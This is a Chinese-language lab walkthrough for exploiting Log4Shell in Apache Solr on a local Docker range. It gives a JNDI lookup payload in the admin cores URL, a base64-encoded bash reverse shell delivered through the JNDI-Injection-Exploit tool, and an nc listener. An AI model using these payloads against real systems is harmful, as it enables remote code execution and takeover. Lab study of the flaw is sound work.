一、环境搭建
- 攻击机:192.168.9.148(kali)
- 启动docker:
docker-compose up -d
docker ps
- 访问靶场:
目标主机ip地址:8983
二、漏洞验证
-
首先访问http://dnslog.cn/ 获取一个临时域名
-
然后利用获取到的临时域名构造payload ,直接访问:
http://192.168.9.148:8983/solr/admin/cores?action=${jndi:ldap://iep7el.dnslog.cn}
- 补充解答“他们是怎么知道要访问这个url的呢?”:http://www.ctfiot.com/16640.html#fancybox-14。
- 根据官方文件可以得知 Collections 的调用参数
- 访问之后,我们查看dnslog.cn页面,点击
Refresh
按钮刷新,可以看到有请求访问记录,表明存在log4j2漏洞
三、漏洞利用
-
JDNI注入工具:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
-
下载对应的jar包。将jar包拷贝到kali虚拟机,或者直接在kali中下载
-
构造payload:这是一条bash反弹shell https://blog.csdn.net/weixin_43221560/article/details/112436499
bash -i >& /dev/tcp/192.168.9.148/19999 0>&1
# bash -i >& /dev/tcp/192.168.9.148/19999:这部分命令首先尝试将 bash shell 与指定 IP 地址(192.168.9.148)和端口(19999)上的远程 shell 连接起来。>& 操作符用于将标准输出和标准错误重定向到指定的文件(在这种情况下,是 /dev/tcp/192.168.9.148/19999)
# 0>&1: 这部分命令将输入重定向到与标准输出相同的位置。这种方式确保所有输入都发送到远程 shell
-
将payload进行base64编码
-
在kali执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTQ4LzE5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.9.148"
- 监听端口:19999
nc -lvnp 19999
- 在浏览器访问payload
http://目标主机ip地址:8983/solr/admin/cores?action=${jndi:ldap://192.168.9.148:1389/qtmmjj}
- 然后发现kali这边监听到了,可以执行shell命令了
四、关闭靶场
docker-compose down